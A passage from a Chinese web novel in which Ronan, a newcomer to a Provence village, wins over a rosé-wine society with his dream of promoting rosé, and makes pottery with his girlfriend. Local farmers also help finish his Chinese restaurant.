“你昨晚去罗南家吃饭了?”加布里埃尔皱着眉头问。 这两个人和罗南的关系这么亲近吗? “是啊,我们都去了。”托马斯指了指自己和歌迪亚。 歌迪亚回味道: “罗南的父亲做饭真好吃,他女朋友妈妈做的甜品也很让人记忆犹新。” 加布里埃尔瞪大眼睛。 连罗南女朋友妈妈的甜品都吃过了? 这些人的关系都比我和罗南更好了吗? 加布里埃尔一直安慰自己: 歌迪亚、托马斯和罗南天天见面,熟悉一些很正常。 但罗南在协会里和你的关系一定是最好的! 直到他开车带罗南去博尼约,在路上遇到了开着敞篷红色跑车的阿斯特丽德。 越危险的越迷人.尤其对方是一位神秘的贵族小姐。 糖果大师初见阿斯特丽德时也如卢尔马兰的那些农夫们一样.热情的靠近过。 但贵族小姐一句不咸不淡的“我对留八字胡的男人没有兴趣”把加布里埃尔的一切热情都熄灭了。 之后两个人再也没有什么交集。 但今天,阿斯特丽德居然在路上主动和加布里埃尔说话了。 她并排和加布里埃尔的车停到一起,手肘撑着车窗,似笑非笑的问: “你今天穿的衣服颜色,让我想起你家那只有趣的狗,它还那么喜欢红色吗?” 加布里埃尔露出了自认为最迷人的笑容,但是他又听不懂法语了。 我家有喜欢红色的狗吗? 等等,狗为什么会喜欢红色? 他身边的罗南开口了: “我妈妈也说今天我和马赛穿了亲子装,嗯.它还是那么喜欢红色。” 阿斯特丽德风情万种的笑了两声,一脚油门下去,红色敞篷跑车疾驰而去。 红色跑车开走了,加布里埃尔的白色跑车却一动不动停在原地。 加布里埃尔揪着胡子想: 罗南家不是只有一只黑色的杜宾吗?哪里还有刚灰色的狗? 罗南主动解释: “我之后又买了一只狗,你没见过。” 加布里埃尔点点头,缓缓发动车子。 阿斯特丽德又去罗南家了? 他们干什么了? 不不,那不重要。 重要的是我和罗南的关系的确不是很亲近啊。 这么‘疏远’的关系,他能帮忙就奇怪了! 这一次沃克吕兹省粉红酒爱好者协会的聚会间隔比较长。 再见面可聊的事情比较多,内容也比较杂,所以没有采用集体群聊的形式,大家三五成群的聚在一起,聊点各自感兴趣的话题。 罗南没有正式宣布过自己开了餐厅的消息,但这并不是什么秘密。 他曾咨询过雅克先生和会长伊内斯装修的问题,加布里埃尔又是邻居,大家私下哪怕只有一点交集都会知道这个消息。 根本不用罗南主动说什么,每一个和他聊天的人都会主动问及这件事。 雅克先生不停嘱咐罗南开业前必须要办的法规和手续: “你开业前记得告诉我,我再帮你检查一次。” 法国的各项法律法规非常严格。 罚款是轻的,很可能要吊销执照,有雅克的指点,省下了罗南好大的精力自己研究。 在沃克吕兹省工商业联盟工作的科伦坦笑着安慰罗南: “如果哪里出了问题,可以给我打电话。” 罗南面色一喜。 这不正对口了吗? “雅克先生、科伦坦先生,等我的餐厅开业一定要好好招待你们一次。”罗南主动发出邀请。 雅克先生笑着推了一下眼镜: “以后多多交流。” 罗南开的是中餐厅,他们又在两个不同的村,完全没有竞争关系。 有的只是同行间的惺惺相惜。 罗南进入了餐饮行业,习惯‘形单影只’的雅克也算有了一个‘伴’,是好事。 科伦坦露出了公式化的笑容: “好,有时间我一定去。” 这已经不是罗南今天第一次听到类似的回复了。 大家看似热情,但罗南心里清楚到时候真能来捧场的可能只有几个人。 但这些大人物对罗南来说太重要了。 他们位高权重、他们背景雄厚.每多一个去的人,罗南的餐厅就多一个巨大的广告标语。 但罗南不是会长伊内斯,也不是聚会时间要跟着她档期走的阿斯特丽德,更不是什么手握实权的政府高官。 他需要想办法调动起大家的积极性。 罗南一边和雅克、科伦坦聊天,一边分出一部分精力观察其他‘小组’的情况。 很快,他发现慵懒的阿斯特丽德身边永远围着很多人。 之前大家一起聊天看的并不明显,一分散了这个情况非常突出,连会长伊内斯都始终没有离开她身边。 罗南猜阿斯特丽德身上除了贵族、香水和萨德侯爵等标签外一定还有他不知道的东西,但罗南并不好奇那是什么。 他只需知道,这些大人物在‘追捧’阿斯特丽德就足够了。 所以阿斯特丽德就是罗南调动大家积极性的‘钥匙’。 不过在那之前,首先要调动起阿斯特丽德的积极性。 阿斯特丽德对什么感兴趣? 答案不言而喻——粉红酒。 这个家伙就是个没有感情的喝粉红酒机器。 但如何把粉红酒和餐厅联系起来呢? 就在罗南思索办法的时候,按耐不住的加布里埃尔出手了。 “伊内斯,我想和你聊件事情。” 伊内斯停下和身边人的交谈,问加布里埃尔: “什么事?” 加布里埃尔满脸堆笑的说: “听说你拒绝了马里尼的入会申请?” 伊内斯双腿交叠,严峻的脸庞上看不到任何‘通融’的影子: “通过和马里尼的深入交谈,我并不觉得他热爱粉红酒,你知道的加布里埃尔,入会的唯一标准是对粉红酒的热爱,但他并没有达到这一点。” 加布里埃尔努力替好友辩解: “马里尼只是不擅交谈,他的职业不需要说话,他也不喜欢说话,但我发誓他真的很爱粉红酒,我们每次见面都能看出他对粉红酒的热情。” 伊内斯做了一个遗憾的表情: “抱歉加布里埃尔,他没有通过入会测试,但是我很开心你能不断给我们介绍新成员。” 加布里埃尔努力争取道: “咱们协会一个艺术家都没有,我的意思是,如果马里尼能入会,沃克吕兹省粉红酒爱好者协会会更加全面和完整。” 伊内斯转过身去,意图和旁人继续刚刚的聊天内容,并强制结束她和加布里埃尔的话题: “我还拒绝过比马里尼更著名的艺术家,沃克吕兹省粉红酒爱好者协会从不看重身份和职业,我们只看候选人对粉红酒的态度。” “但是——”加布里埃尔还想说什么,被一道洪亮的声音掩盖住了。 “但是艺术家是粉红酒能否摆脱头上扣了几百年枷锁的关键群体。”罗南拿着酒杯坐到加布里埃尔身边,“我认为我们确实可以考虑接纳一下加布里埃尔说的这个朋友。” 沃克吕兹省粉红酒爱好者协会只看候选人对粉红酒的态度,从这个角度出发,罗南无遗是伊内斯最满意的会员。 她对罗南的态度和蔼了许多,像是对待自己调皮的儿子一样‘嗔怪’的说: “我们只是一个爱好者协会,罗南,改变粉红酒现状并不是我们要做的事。” 罗南把杯子里的粉红酒一饮而尽,耸肩道: “好吧,但那一直是我想做的事情。” 伊内斯被罗南逗笑了: “你想做什么事?” 伊内斯和罗南的对话声音很大,已经脱离了分组讨论的范畴,大家纷纷向他们看来。 罗南的酒杯空了,他从地上拎起一个酒瓶子,掷地有声的说: “我的目标从未改变过,那就是让粉红酒像红葡萄酒和白葡萄酒一样,得到普罗旺斯人的正视!” 阿斯特丽德轻笑一声,也拎起了脚边的酒瓶子: “想让粉红酒得到正视,却开了家餐厅?” 罗南轻快的站起来,用他的酒瓶子和阿斯特丽德的酒瓶子‘撞’了一个杯,之后露出‘癫狂’的笑容: “当然了女士,开餐厅也是为了粉红酒。” 罗南现在的动作和神态,和这帮人第一次在杂志上见到他的样子一模一样。 那个对粉红酒痴迷到发疯的年轻人又回来了! 阿斯特丽德收敛起轻蔑的笑容,眯着眼睛盯了罗南好一会,换了一种完全不同的状态说: “讲讲。” 罗南举起酒瓶子‘吨吨吨吨’的喝了好几口粉红酒。 粉红酒顺着他的嘴,进入他的喉咙,落到胃里激荡起粉红色的泡泡。 赌对了,阿斯特丽德果真对这件事感兴趣! 第203章 命题作文:我的梦想 如果是其他人说出这种‘狂言’,大家会笑着摇摇头,认为那一定是个酒量一般的家伙。 但罗南说出‘我想让粉红酒被得到正视’,信服力强多了。 他是协会里除了阿斯特丽德外对粉红酒最痴迷的会员,没有之一。 连会长伊内斯都没有他‘虔诚’。 怀揣着对罗南所谓‘目的’的好奇,和对阿斯特丽德的尊重,各个小组停下讨论,注意力全部集中到这两个人的身上。 罗南放下酒瓶子,看着阿斯特丽德说: “你应该知道我一直在集市上卖粉红酒吧?” 阿斯特丽德没有什么情绪起伏的说: “看杂志上写过。” 协会里的成员们对罗南的了解,几乎全部来源于那些挂有他大照片的杂志,通过杂志大家才知道在卢尔马兰出现了一个对粉红酒爱到痴狂的集市摊主。 罗南语气轻快的说: “我第一次喝粉红酒时就爱上了它,但我搬到普罗旺斯这片粉红酒的发源地,发现本地人居然对它是这种态度说实话很不理解,但也无能为力,只能通过自己的微薄能力向尽可能多的人推荐这种我认为是普罗旺斯特色的酒,所以我选择去集市上卖它。” 雅克回忆起罗南在集市上和阿图尔等人‘据理力争’的样子: “那并不是微薄的能力,遇到对粉红酒不尊重的客人,罗南会有力的回击。” 会员们的表情出现了一丝变化。 这个年轻的小伙子真的在一直尝试推翻粉红酒头上的枷锁吗? 罗南感激的看向雅克先生,继续陈述: “但是我发现在集市上卖粉红酒不能改变什么,那些来自世界各地的游客喝完就走了,他们无法影响本地人的态度和观念,我想我必须要做些什么、做些可以改变普罗旺斯本地人对粉红酒态度的事情,就这样开餐厅的想法在我脑中出现了。” 阿斯特丽德斜靠在沙发上,脸色阴郁: “但你开的是中餐厅,那跟粉红酒有什么关系?而且如果我没记错的话,大家给你出谋划策想的是如何让中餐在普罗旺斯发扬光大,而不是粉红酒。” 你真当我那天喝多了? 我只是不想参与你们的话题,但你们说的话我可都记得呢。 罗南平摊双手: “女士,你觉得我在普罗旺斯专注做粉红酒会是什么下场?” 大家不约而同的看向斯特斯加中级酒庄的持有者杰罗姆。 什么下场? 很惨的下场! 罗南惨笑着说: “完成梦想的同时我也要兼顾生计,难道只靠每周在集市上卖酒赚的那点钱完成我的毕生梦想吗?” ‘毕生梦想’这个单词一出现,现场的气氛更加安静了。 怪不得对粉红酒的态度那么狂热,原来已经到了‘毕生梦想’这个高度了吗? 阿斯特丽德的脸上鲜有的出现了一丝‘母性光辉’,她似教育又似责怪的对罗南说: “就靠那些艺术家完成你的‘毕生梦想’?他们连自己的肚子都填不饱,能指望他们什么?帮你宣传粉红酒?你太天真了。” 这次换做罗南表情有所变化了。 原来阿斯特丽德也发现了粉红酒是艺术家的‘流行趋势’了啊。 那太好了,省的他去证明什么了! 罗南的语气里充满了对未来的美好憧憬: “艺术家不是宣传者而是载体,承载粉红酒文化的载体!中国有句古话叫‘众人拾柴火焰高’,1个艺术家不行,就10个艺术家,10个艺术家不行就100个艺术家未来我的餐厅就是艺术家的‘聚集地’,在那里桌桌摆着粉红酒、桌桌喝着粉红酒、每一个角落都会聊着粉红酒的话题,无论是来自普罗旺斯当地的客人,还是来自世界各地的客人,在那里吃饭的同时会完成一次以粉红酒为主题的‘旅程’。” 罗南用炙热的眼神看着阿斯特丽德,语气诚恳: “女士,那就是我梦想中餐厅的样子!虽然短时间内无法达成.但我相信终将会有那一天的!” 年轻的男孩如刚刚爬上地平线的太阳,真挚、热烈又充满活力。 这轮小太阳也把火烧到了其他人的心里和身上,大家在极富感染力的声音里幻想起那个场景。 若罗南梦想中的餐厅达成.那不是每天都有‘沃克吕兹省粉红酒爱好者协会’的聚会了? “砰——”酒瓶开启的声音打断了大家的美梦。 阿斯特丽德仰头喝了近四分之一瓶,擦掉嘴角和下巴上滴落的几滴粉红酒后,用类似呢喃的声音问罗南: “哪天开业?有时间我去看看。” 阿斯特丽德的表态起到了‘立竿见影’的效果。 当场就有几个大人物明确表示要去罗南的餐厅先占个座位,以免未来那里成了粉红酒爱好者的聚集地,他们没有地方待了。 还有几个大人物说开业当天要去给罗南捧场。 加布里埃尔在旁边听的是又惊又喜。 他的店铺开业都没有那么大的阵仗罗南好大的面子啊! 罗南的‘癫狂’式发言和阿斯特丽德的表态,同时让罗南在协会的地位更‘重要’了。 他渐渐进入了核心地带,别管大家聊什么,都喜欢把罗南带着一起。 这更加让加布里埃尔确定罗南是他最佳‘帮手’的决定。 有伊内斯的宠爱,还有阿斯特丽德的‘关注’,罗南简直是协会里的宠儿啊。 聚会结束,众人离开的时候,加布里埃尔把罗南拉到了一个安静的地方: “你在找复古枪?” 罗南拜托雅克先生帮他问复古枪的消息。 在聚会上,雅克先生主动聊起了这个话题,说有几把枪的消息了,但罗南手头紧张并没有深入的了解,借口说开业前事情太多,等餐厅开起来了再好好看看那几把枪的具体情况。 “是的。”罗南不好意思的说,“但我今年刚考到执照,技术一般般,所以先用普通的枪也行。” 加布里埃尔又露出了‘好兄弟’的笑容,搂着罗南的脖子说: “打猎玩的是心情,技术那些统统不重要,你喜欢什么样的?步枪、来福、左轮或者小口径?” 罗南揉了揉鼻子: “其实我对枪不太了解,等我餐厅开起来了再好好研究吧。” 加布里埃尔笑着拍了一下罗南的肩膀: “行,那我看着给你拿一把。” “啊?”罗南连连摇头,“不用不用,雅克先生已经在帮我问了。” 加布里埃尔砸了一下嘴: “你跟我客气什么啊?你餐厅开业这么大的事,我不得送你个礼物?” “你人能来就行了,不用礼物。”罗南拍了拍加布里埃尔的胳膊,以示感谢。 “你今天还帮我说话了呢。” “那是为了粉红酒好。” “所以我也得给普罗旺斯的粉红酒事业出一把力啊,这个开业礼物你必须收下。” “不行不行。” “必须必须。” “真不行。” “真可以” “你们两个男人恶心够了吗?”突兀的声音吓得罗南和加布里埃尔赶紧离开彼此的身体。 阿斯特丽德皱着眉头用下巴指了一个方向: “恶心完了去那找我,我和你说点事。” 加布里埃尔抬起两只手,摸了摸自己的八字胡: “她是对你说的吧?” 阿斯特丽德的敞篷轿车旁。 “让粉红酒被正视真的是你的毕生梦想吗?”黑暗里发出一道冷厉的提问。 罗南站在有亮光的地方,语气坚定: “是的,我认为它被低估了。” 罗南在聚会上说的不是谎言。 那真的是他幻想过无数次的场景——未来他的餐厅里一定要有大量粉红酒的影子。 黑暗中沉默了许久,许久到罗南开始怀疑阿斯特丽德是否还在那里。 “单靠你一个人是没有办法完成的。”阿斯特丽德的语气没有平时里那么轻浮了。 罗南笑着说: “还有你们啊。” 黑暗里传出一声冷哼: “谁?伊内斯、科伦坦还是加布里埃尔?” 罗南挑了一下眉毛: “当然是你了,阿斯特丽德女士。” 阿斯特丽德发出低沉的闷笑: “你知道我是做什么生意的吗?” 罗南耸肩: “知道。” 香水,普罗旺斯的另一个‘明信片’,同时也是法国的一大特色。 “有时间去了解一下普罗旺斯的农业发展史和工商行业背景。”阿斯特丽德用标志性的轻蔑语气说,“了解之后你就会知道,我无法为粉红酒做什么。” 罗南撇嘴。 这是他在聚会里最不想听的两个话题。 全是高层人士之间的博弈。 “那我就找其他能和我一起完成梦想的人,一定会有的。”罗南没有丝毫动摇。 熊熊燃烧的热爱似乎要把黑暗点亮了。 阿斯特丽德从黑暗中走出,一袭红裙也像太阳一样燃烧着: “还记得我上次给你的建议吗?” 罗南回忆了一下: “借势和借力?” 阿斯特丽德坐上她的豪车,但没有着急启动,她用非常明显的教导语气说: “一个人傻干是无济于事的,看一看你的环境,看一看你可以利用的资源。” “你的意思是——”罗南似懂非懂的问。 红色跑车在黑暗中留下一道残影,原地只留下一些飘渺的单词: “卢尔马兰政府向沃克吕兹省旅游局申请预算的报告又被驳回了,让你们那个死脑筋的政府先去打听打听,旅游局需要的到底是什么。” 第204章 美梦成真! 欢声和笑语充斥着卢尔马兰整个9月中旬。 9月上旬没有下雨,代表大家平平安安的度过了不长、但会造成诸多困扰的雨季。 同时代表农夫们可以安心的再让葡萄成熟一阵子。 皮埃尔预测现在摘下来的葡萄酒精含量已经可以达到12度左右,但再等一阵子到了9月末,这些晶莹剔透小东西的酒精浓度能达到12.5度.这0.5度可以让这批葡萄每公斤贵好几法郎。 毫无疑问,今年会是一个丰收年! 雨季结束,农夫们暂时解除了时刻准备去打仗的状态,可以好好喝酒了。 皮埃尔的焦虑状态彻底消失,报复似得在老酒馆喝了好几天,每见到一个人都要念叨一遍: “没有暴风雨、没有降温、没有虫害也没有森林大火,伙计们,祝我们又顺利的度过了一年!” 亨利叼着烟尖锐的跟着喊: “亚洲和非洲的炮火也没有打到欧洲,这太棒了!” 特奥一边跟着音乐扭屁股,一边奚落亨利: “手工活儿也要看天气和国际局势了?亨利,你是不是搞错了什么。” “滚!该死的特奥,即使罗南先生在我也不会对你客气的!”亨利龇着牙说。 罗南摆摆手,示意这两个家伙别吵了,他抬头问猛灌自己的皮埃尔: “那我们什么时候收葡萄?” 皮埃尔擦了一下胡子上的啤酒沫: “9月的最后一周。” 特奥从背后搂住罗南的脖子,笑着说: “放心吧罗南,未来半个月可以不用那么紧绷了,快来和我跳舞!老酒馆终于又是我们的地盘了!” 亨利对罗南举起杯子: “罗南先生,丰收愉快!” “这次肯定能卖不少钱,卖完葡萄我要去买一辆新的拖拉机,我家现在那辆比我爸爸的年纪还大。” “我要去阿普特给老婆和女儿买新衣服和新鞋子,冬天要到了,再买一床新被子。” “我要把房子修一修,最好弄的和罗南先生家一样好看!” 罗南笑着听大家讲述自己的丰收心愿,心想: 我应该如何奖励自己一年的辛苦劳作呢? 某一天罗南去佐伊家吃午饭,一进门莉亚就小声通知他: “佐伊今天从院子里搬了粘土和玻璃去工作室,上午我还听到了打粉的声音,估计要开始做餐具了。” 罗南对莉亚比了一个‘OK’的手势,感激的说: “谢谢。” 罗南每周有一半的时间会去佐伊家吃午饭,之后在维埃里房间睡个午觉,吃完莉亚做的甜品回餐厅继续干活。 但今天罗南吃完午饭就离开了,说是要回家睡。 佐伊以为罗南有事情和父母聊,浅浅的睡了一下起来工作,意外的发现罗南居然坐在她的工作间里: “你怎么又来了?” 佐伊已经换好了要干‘脏活’的背带裤,罗南一看更加确认今天她要开始做餐具了。 “你这个语气很像呼呼啊,不欢迎我?”他装作生气的说。 佐伊干净利索的把头发盘起来,露出修长白净的脖子: “快说啊,你怎么又回来了?” 罗南指着屋子里的粘土说: “和你一起做餐具。” 佐伊思索了一下,突然对着外面大喊: “妈妈,罗南把你收买了?” 莉亚飘渺的声音从远处传来: “怎么了亲爱的?苹果派马上就好了,再等一等!” 佐伊回过头来无奈的看了罗南几秒,解释道: “我今天只做塑形,不做雕花,你如果想看纹样去我桌子上看,手稿在那里。” 罗南笑容灿烂的说: “不着急看纹样,我们先一起做塑形,我发誓不会给你捣乱。” 佐伊永远对罗南的笑容没有抵抗能力,即使她知道这件事离谱无比,还是笑着说: “去搬把椅子吧。” 佐伊把调整到可塑状态的粘土放到转盘上,打开开关: “你先感受一下。” 罗南乖乖的把两只手放到粘土上,发现这东西可真是难以做出什么形状,稍微用一下力就会向一侧凹进去,再想调整就困难了。 佐伊做了一个‘我就知道会这样’的表情,转身去找东西: “我再拿一个转盘,你自己在旁边‘玩’吧。” “等等!”罗南把椅子让出来,“你先给我演示一下。” 佐伊坐下来,几下就把罗南玩烂的那块粘土做出了形状: “宝贝,我并不想打消你的积极性,但陶艺比编织难上手多了,我认为你——” 佐伊的声音骤然停止,一个温热的身体从身后贴了上来,一同出现的还有粘土上的另一只手。 罗南的声音在她耳边几厘米的地方出现,带着明显笑意: “你知道吗.我幻想这个画面好几个月了。” 自罗南把佐伊放入自己的未来中起,就开始幻想有朝一日他们能像著名的电影《人鬼情未了》中经典片段一样,做一次陶艺。 这是他上一世最爱看的电影。 有一个会做陶艺的女朋友,怎么能不提前四年致敬一下经典呢? 美梦成真,罗南的心情别提多开心了。 梦想一个一个实现的过程实在太令人兴奋了。 罗南怀里的佐伊没有什么‘美梦成真’的喜悦,只觉得心快跳出去了。 还没有看过那个电影的佐伊只觉得他们的距离太近、太暧昧了。 这可是白天,妈妈又那么喜欢‘偷看偷听’,万一她控制不住,做出什么冲动的事情 佐伊口是心非的拍了几下罗南的手: “这炉作品我想要做完美一点,你别捣乱了。” “我没捣乱啊。”罗南的气息吹到佐伊的耳朵里,“我在塑形呢。” “你去那边看看纹样吧,好吗?”佐伊的气息开始急促,眼神开始飘忽。 罗南在佐伊耳边嘿嘿笑了两声: “我也设计了一个纹样,你先看看我画的?” 佐伊回头,近距离对上罗南带笑的眼睛: “你也设计了?” 罗南在地上的水桶里涮了一下手,从裤子口袋里拿出一张纸: “这是我给餐厅设计的logo。” 罗南的绘画本就不错,前一阵子又得到过一次提升,佐伊只看一眼就明白了他画的是什么东西——那是一男一女依偎到一起,身边围着五狗一羊的剪影。 “你要用这个做logo?”佐伊已经无法描述此刻的心情了。 意外、惊喜、喜悦、感动.罗南真的事事把她计划到了自己的未来里。 罗南再次从后面抱上去,贴着佐伊的脸说: “这段日子我请教了许多开餐厅的前辈,开米其林餐厅的雅克先生、博尼约村口的家庭餐厅、卢尔马兰的儒勒、你喜欢的切尔斯太太,甚至生意惨淡的科曼你猜我发现了什么?” 佐伊低头看着那张手稿,激动的问: “什么?” 罗南在佐伊的脸上亲了一下: “我发现每个开餐厅的老板都有一段幸福的婚姻,无一例外这是我美好的愿景,希望我们未来也能甜甜蜜蜜的,像这个logo一样永远‘依偎’在一起,当然,还有最爱的宠物陪着我们!” 《密法尔指南》上描述雅克是一个外表谦逊、内心极其脆弱敏感、和妻子关系和睦的幸运家伙。 和雅克先生相处的过程中,罗南也能感受到雅克先生对他妻子的感情很真挚。 餐厅的选址参考了妻子的喜好,这个没有什么情绪起伏的家伙每次提到自己的另一半都会腼腆的不成样子。 在伯尼约开家庭餐厅的老夫妻相濡以沫了一辈子,现在70多岁了,老两口还会拉着手说甜到发腻的情话。 奥利维尔虽然是个奸商,但他非常在意自己的妻子米切尔太太,太太的旨意高于一切。 科曼的餐厅装修的像是‘难民营’一样,只是由于他不想忘记和妻子结婚时的样子 罗南希望有一天自己的餐厅登上《密法尔指南》时,后面也能写有类似的描述: 餐品别具风味,装潢令人惊喜,不过最令人津津乐道的是老板和他艺术家妻子的甜美爱情。 罗南开心的说: “快看看它们适不适合印到你的盘子和杯子上?我们做几个有这个logo的摆到餐厅里,或者自己用?” 佐伊似乎被无数粉色泡泡包裹住,对罗南的爱像山呼海啸般袭来,推着她想去做一些在家里‘不适合’做的事情。 她深呼吸了几口,按耐住心中澎湃的爱意: “我一定是这个世界上最幸福的人。” 不过我们不能再保持这个姿势了! 佐伊作势就要起来: “我去给你再拿一个转盘,你熟悉一下,一会我们一起把这个logo设计到餐具上,那一定会非常好看。” 罗南把佐伊又摁了下来: “别啊,我们一起做。” 我还没过够《人鬼情未了》的瘾呢! 佐伊被这个姿势撩拨的意乱情迷,胡乱的说: “那你起来.这样我没办法做粘土了。” 再一次被‘嫌弃’,罗南想都没想,一口气把【制陶】升到了3级。 甚至来不及查看技能带来了什么能力,一边塑形一边说: “你看,我是不是做的还行?我真的不会给你捣乱的。” 佐伊激烈反抗了几下无果后,反到让自己的心更痒了。 她后仰脑袋问罗南: “你到底走不走?” 罗南摇头: “不走。” 600点【幸福度】都花了,你现在让我走?! 佐伊想都没想就吻了上去,两只嘴刚亲上,门口就出现了一道: “咩。” 呼呼迈着六亲不认的步伐晃了进来。 “又怎么又来了!”罗南咬着牙怒吼。 这家伙不知道破坏他多少次好事了! 亏我还把你画在logo上,我呸! 刚想和它对骂,怀里佐伊柔软的贴上来,一只手摁住呼呼顶上来的脑袋: “别理它。” 【与异性发生亲密身体接触幸福度增加60点】 【与异性发生亲密身体接触幸福度增加65点】 【与异性发生亲密身体接触幸福度增加70点】 罗南的脑袋里只有一个想法: 这600点花的太值了! 两个人短暂的分开大口呼吸,罗南问: “我给你捣乱了吗?” 佐伊强硬的搂住罗南的脖子,再次吻了上去: “这种‘捣乱’以后可以多一点。” 随即,呼呼的脸上又多了几个手掌印。 十几分钟后。 莉亚看着从佐伊工作间溜达出来的满身粘土的呼呼,小声嘟囔: “这两个人在里面用呼呼擦地了?怎么弄的这么脏啊?” 第205章 营销‘鬼才\’ 事实证明开餐厅真的是一件很复杂的事情。 罗南很庆幸有懂餐厅经营的父亲可以帮他分担走运营和菜品问题、有热心的雅克先生积极的帮助他申请开餐厅所需的各种手续和文件,否则现在的他不知道要忙成什么样。 卡福团队的工程进入了收尾阶段,亨利一家也终于把藤椅做完了,木作完成了百分之八十五以上但罗南每天还是排得满满的,细碎的活儿太多了。 莉亚又设计了不少新的甜品,罗南要抽空去把成本、摆盘等细节确定下来,一聊就是几个小时。 佐伊也进入了餐具制作阶段,虽然罗南在行动上帮不上太大的忙,佐伊也不让罗南帮忙,但他有责任去提供情绪价值,要知道大艺术家佐伊按照市场价做一套餐具是罗南买都买不起的价格只能去用‘肉’偿了。 还要做灯、做饰品、找合适的绿植、应付各种突发情况.有的时候罗南真有一种力不从心的无力感,感觉事情永远处理不完似的。 但万幸的是,罗南最忙碌的这个阶段,恰好是朋友们最闲的阶段。 9月底才摘葡萄,农夫们现在正处于没正经事情做但又很亢奋的状态中,大家发现罗南最近忙的不可开交,不少人一早就会来餐厅帮忙。 会木工的帮罗南做做木工,不会木工的帮施工队一起干活儿,什么都不会的帮罗南跑跑腿干些杂活,不想干活的就动动嘴指挥,比如特奥每天跟餐厅里的领班一样。 “你们别在这切木头啊,你见过罗南在室内干木工活儿吗?拿出去,拿出去!法比安刚扫干净的地就被你们弄脏了!” “亨利,你这家伙牙不好,眼睛也不好吗?你把钉子钉歪了看不到吗?” “康奈尔,罗南编织用的草快没了,你去他家抱一团晒好的过来!” 特奥叼着烟不停在室内室外巡逻,不爱干活的他眼睛里却全都是活儿。 罗南抬头语气复杂的对特奥说: “大家都是来帮忙的,你态度好一点。” 特奥眯着眼睛吐了一口烟,理直气壮的说: “干活就得有干活的样子!” 说完去院子里继续监工了。 皮埃尔从椅子上跳下来,对罗南说: “你装修的时间不好,如果晚一点,大家收完葡萄,根本不用请什么工匠,我们就能给你干了。” 卢尔马兰各家各户装修房子都是请朋友帮忙干的,没人会找什么装修队,包括现在商业街上的那几个本地店主也是一样,全是找的熟人帮忙。 卡福不服气的嘟囔: “我们是专业的。” 罗南要的东西那么复杂你们能做出来? 皮埃尔笑着对那个大块头说: “但我们人多啊。” 卡福掂量了一下双方的实力。 十几个橄榄球运动员不能保证一下子干趴下二十多个职业农夫。 算了算了,不和你们计较。 气鼓鼓的去外面用锤子抡石材去了。 罗南感激的对皮埃尔说: “你们帮了我大忙,最近真的要忙死了。” 皮埃尔把耳朵上的烟拿下来,在手掌上磕了几下: “要忙死了为什么不主动找大家帮忙,还要我们自己发现?如果不是亨利在老酒馆说,你每天累的躺地上就能睡着,你是不是要把自己活活累死,才能想起来还有我们这帮朋友啊?” 罗南拍了拍他的胳膊,一切都在不言中了。 皮埃尔‘生气’的在罗南的肚子上连戳了好几下: “你刚来的时候我就和你说过,别不好意思找人帮忙,扭扭捏捏的跟个女人一样,这里是普罗旺斯不是巴黎,你看特奥找你借车开的时候客气过吗?” 罗南闪躲着说: “我现在记住了,这次真的记住了。” 皮埃尔用胳膊肘夹住罗南的脖子,不客气的教育他: “记住,普罗旺斯的朋友都是真朋友,尤其是农夫们!几百年来我们一直都是这样的!” 橄榄球队加上农夫的组合,让罗南餐厅里的雄性荷尔蒙爆棚,胡子都长得快了不少。 但某一天上午,餐厅里出现了两道女性身影。 约瑟芬带着丽莎来到正在编制灯的罗南身边。 “罗南先生,你需要帮忙吗?”约瑟芬指着地上的草问。 罗南有一刹那的错愕。 约瑟芬想再给家里贴补一份家用吗? 丽莎怯懦懦的说: “罗南先生.是免费的。” 这让罗南更不知如何是好了。 绑椅子给钱了,现在不给钱? 你这样我更为难了啊。 约瑟芬粗糙的大手局促的在衣服上来回摩擦,显然对接下来要说的话很忐忑: “我觉得这门手艺挺.适合我的,我可以学习一下如何做灯吗?” “你对这个感兴趣?”罗南举起手里的半成品灯问。 约瑟芬点头,慈爱的看着女儿说: “我想让丽莎再掌握一门其他手艺.万一以后不需要绣被了呢?那丽莎怎么办?” 罗南没有回答,似乎在思考什么。 在远处默默看着的亨利快步走过来,拉起妻子和女儿就走: “我就说你们这样会让罗南先生为难的!回家!都回家!!” “等一等。”罗南叫住了亨利,拿起地上的草对约瑟芬和丽莎解释,“你们可能还不是很了解这门手艺,我先给你们介绍一下,如果依然感兴趣,我就教给你们怎么样?” 亨利带着老婆和女儿再次回到罗南的身前。 罗南语气平缓的说: “之前让你们做的椅子是藤艺编织,这种手艺在欧洲只有瑞典、英国和意大利有工坊,但都是专业的家具工坊,如果你们想靠这个赚钱很难,我猜在普罗旺斯愿意买这种风格家具的人不会选择‘咱们’这种小作坊。” 罗南用的是‘咱们’,因为他也曾想过利用藤制家具赚钱。 现在他完全是带入到了和约瑟芬一样的普通老百姓视角来解释这些。 他继续摆弄起手里的草: “草编工艺在法国就更没有什么市场了,它在中国存在了几千年,却从未在欧洲流行过,如果不是像我这种有特殊需求的客户,没人会买用草制作的东西,当然可以做些小摆件、小玩具什么的出去卖.但我猜收入可能还没有做绣被高。” 约瑟芬问罗南: “那您为什么要选择用草做的饰品和灯呢?” 罗南笑着说: “因为我的餐厅和其他餐厅不一样啊,我开的是中餐厅,配上草做的灯好看,它很适合和中式的东西做搭配。” 丽莎小声问: “普罗旺斯没有其他需要中式配饰的场合吗?” 罗南摇头: “没有,我这是吕贝隆山区里的第一家中餐厅,在普罗旺斯采用中式设计的地方也几乎没有,这里不流行这种风格。” “但你的餐厅开起来后就不一样了啊罗南先生!”亨利指着身后的三层建筑,激情满满的说,“不流行是因为他们没见过好看的!连我这个没文化的农夫都知道你设计的风格很好看,那些有文化的有钱人怎么会看不出来呢?” 亨利小心的摸着罗南亲手做的桌子和椅子,语气激昂的说: “这里是你和你的家人投入全部心血开的餐厅,每一个东西都是最棒的!你的餐厅一定可以闯出名堂,说不定中餐和中式风格会在普罗旺斯刮起一股风潮,像船长帽一样的风潮!” “我很感激你能这样想,但未来事谁能说得准呢?”罗南叹气。 “不,你一定可以!”亨利用力攥紧拳头,“约瑟芬、丽莎,我和你们一起学这门手艺,罗南先生一定可以带领我们赚钱的!” 我亨利会永远‘效忠’罗南先生的永远! 若不是托马斯和歌迪亚非常了解罗南餐厅的装修进展,一定会认为它已经开业了。 餐厅的室内只有50个座位,每天却要承载60甚至70个人。 其中有十几个建筑工人,二十多个农夫,十几个找爸爸玩的孩子和偶尔来看看的农夫家属. 这要是放到游客还没走的8月,他们高低得评价一句: 罗南真是营销‘鬼才’。 找了那么多‘拖’,真是好大的手笔! 但现在是冷清的9月,他们只想问: “你还未装修好的餐厅里,是每天都在举行聚会吗?怎么会有那么多人每天进进出出你的餐厅啊?” 